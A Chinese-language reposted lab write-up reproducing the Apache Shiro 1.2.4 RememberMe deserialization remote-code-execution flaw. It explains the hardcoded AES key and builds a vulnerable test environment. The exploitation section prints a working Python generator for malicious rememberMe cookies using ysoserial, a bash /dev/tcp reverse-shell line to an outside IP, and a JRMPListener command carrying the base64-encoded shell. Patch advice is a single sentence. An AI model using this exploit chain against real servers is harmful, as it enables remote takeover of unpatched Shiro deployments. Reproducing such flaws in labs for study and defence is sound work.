01.17 「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞

可领全套安全课程、配套攻防靶场


「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞


影响版本

Apache Shiro <= 1.2.4


原因分析

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。

然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。


AES加密


勾选记住密码并登录页面上的账号密码,成功登录后台后返回Cookie中的rememberMe值为固定的512位。

「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞


「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞

从官方文档中,我们知道在Shiro配置类中加入rememberMe管理器代码中写到cookie加密密钥默认为AES算法并且密钥为2AvVhdsgUs0FSA3SDFAdag==。

「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞

接着进行AES加密。动态跟踪到AbstractRememberMeManager类的encrypt方法中,可以看到AES的模式为AES/CBC/PKCS5Padding

并且AES的key为Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),转换为16进制后是x90xf1xfex6cx8cx64xe4x3dx9dx79x98x88xc5xc6x9ax68,key为16字节,128位。

「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞

进行AES加密,利用arraycopy()方法将随机的16字节IV放到序列化后的数据前面,完成后再进行AES加密。

最后在CookieRememberMeManager类的rememberSerializedIdentity()方法中进行base64加密:

「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞

环境搭建

到Github获取Apache Shiro 1.2.4版本 源文件

<code>git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4cd ./shiro/samples/web/<code>

为了配合生成反序列化的漏洞环境,需要添加存在漏洞的 jar 包,编辑 pom.xml文件,添加如下行:

<code>  <properties>   <maven.compiler.source>1.6/<maven.compiler.source>   <maven.compiler.target>1.6/<maven.compiler.target> /<properties>... <dependencies>   <dependency>     <groupid>javax.servlet/<groupid>     <artifactid>jstl/<artifactid>          <version>1.2/<version>     <scope>runtime/<scope>   /<dependency>.....   <dependency>     <groupid>org.apache.commons/<groupid>     <artifactid>commons-collections4/<artifactid>     <version>4.0/<version>   /<dependency><dependencies>/<dependencies>/<code>

修改完成后,使用Maven 把存在漏洞环境 war包进行编译

最终可以将 target 目录下生成的 samples-web-1.2.4.war 文件拷贝至 tomcat 目录下的 webapps 目录,这里将其重命名为了 shiro.war 文件,启动 tomcat, 在浏览器当中输入

http://localhost:80/ 可以看到登录页面,如下图:

「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞

然后,获取我们复现需要用到的ysoserial工具

<code>git clone https://github.com/frohoff/ysoserial.gitcd ysoserialmvn package -DskipTests/<code>

生成的工具在target/目录下ysoserial-0.0.6-SNAPSHOT-all.jar文件


漏洞利用

恶意 Cookie rememberMe值构造

前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie


生成恶意rememberMe参数值Python代码

python PopX.py 攻击者IP:PORT

<code>import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar#文件需要在该文件目录 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == '__main__': payload = encode_rememberme(sys.argv[1])print "rememberMe={0}".format(payload.decode())/<code>
「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞

接下来制作反弹shell代码

<code>bash-i>&/dev/tcp/192.168.1.2/88880>&1/<code>

然后进行Java反序列化绕过 base64编码

http://www.jackson-t.ca/runtime-exec-payloads.html

「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞


再使用ysoserial中JRMP监听模块,监听3888端口注意这里的端口是刚才生成rememberMe值的端口。

再加上生成的base64编码。

<code>java-cpysoserial-0.0.6-SNAPSHOT-all.jarysoserial.exploit.JRMPListener3888CommonsCollections5'bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'/<code>
「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞

命令执行


将使用PopX.py脚本生成的Cookie带入Cookie请求中即连接成功反弹Shell。

「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞


这里会收到请求数据再而远程执行命令

「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞

监听端口也收到反弹Shell

「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞


漏洞修复


目前官方发布了最新版本 ,强烈建议您更新并使用最新版本。


转载注明:https://www.secpulse.com/archives/112742.html




今天你知道了吗

「漏洞复现」Shiro RememberMe 1.2.4 反序列化命令执行漏洞

加群,黑客技术大咖在线解答(群号评论区见)


分享到:


相關文章: